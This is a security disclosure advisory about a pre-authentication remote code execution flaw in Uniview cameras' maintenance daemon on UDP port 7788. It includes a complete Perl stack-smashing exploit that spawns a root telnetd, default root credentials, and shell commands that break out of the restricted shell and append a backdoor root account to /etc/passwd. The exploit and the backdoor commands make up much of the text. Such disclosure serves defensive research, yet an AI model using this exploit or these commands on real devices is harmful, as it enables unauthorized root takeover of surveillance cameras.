SSD Advisory – Uniview PreAuth RCE


Find out how a vulnerability in multiple Uniview devices allow remote unauthenticated attackers to trigger a remote code execution vulnerability in the products the company offers.

Vulnerability Summary

A vulnerability in Uniview proprietary protocol listening on UDP port 7788 allows remote unauthenticated attackers to overflow an internal buffer used by the product. By exploiting the vulnerability a remote attackers to gain root access to the device.




An independent security researcher has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

Vendor Response

The vendor has issued a an advisory:

Vulnerability Analysis

Using unpack, binwalk and ubidump and the firmware from, you can see that /program/bin/maintain listens on UDP port 7788.

If you load /program/bin/maintain in Ghidra you can find a in FUN_00013074,

    case 10:
      if ((int)(local_27 - 2) < 0x41) {
        if ((local_20 & 0x400) == 0) {
          local_34 = __isoc99_sscanf(param_3 + local_1c + 2, "%[^:]:%hu", auStack336, &local_3a); // bug here

To reach the vulnerable location and redirect execution you will need to implement the custom TLV-based protocol this code uses.

The exploit found below will smash stack and spawn telnetd on the camera, you can then telnet in as root/123456 (password for telnetd is not changed when changing in web UI).

You will land in a restricted shell (uvsh), to break out of the restricted shell, ECHO command in uvsh allows file writes but only inside /tmp can overwrite /tmp/bin/, this script gets called from /program/bin/ when executing update -tftp / all from the uvsh:

ECHO -e "#!/bin/sh\necho toot:dIkAjCy0Zma2s:0:0::/root:/bin/sh >> /etc/passwd\nmv /sbin/reboot /sbin/\n" > /tmp/bin/

uvsh> update -tftp / all

wait for "/tmp/bin/ line 28: reboot: not found"


# exploit for uniview maintain daemon
use IO::Socket;
use strict;

my $bla;
my $sock = IO::Socket::INET->new(
    Proto    => 'udp',
    PeerPort => 7788,
    PeerAddr => '',
) or die "Could not create socket: $!\n";


# packet is [opcode] [unknown] [2 bytes for length, with itself included] ["stuff"] meaning my packet payload
my $opcode = "\x07" ; # not important
my $unk = "\x01" ;  # not important
my $payload = $opcode . $unk;
# below address is for system("telnetd &");
my $stuff = "AAAABBBB" . pack("l",0x00013a58) . "DDDD" . # these 20 bytes are used for the authentication flow, not relevant in this scenario
"\x0a"; # vuln tlv
# first char below is actually the length of the tlv (length not used here), must be < 0x43 to trigger bug
$stuff .= "\x42";
$stuff .= "E" x 328; # 328 bytes of filler

my $r11 = pack("l",0x43434343); # r11 not important
$stuff .= $r11 .
pack("l",0x0001b86c);  # 0x0001b86c: pop {r4, r5, r6, r7, r8, sb, sl, pc};, actual pc is defined in $stuff above

my $packet = $payload . pack("n",length($payload . $stuff)+2) . $stuff; # pad length of payload to include payload field
print "length of pkt " . int(length($payload . $stuff)+2) . "\n";

print $sock $packet;

Leave a Reply

Your email address will not be published. Required fields are marked *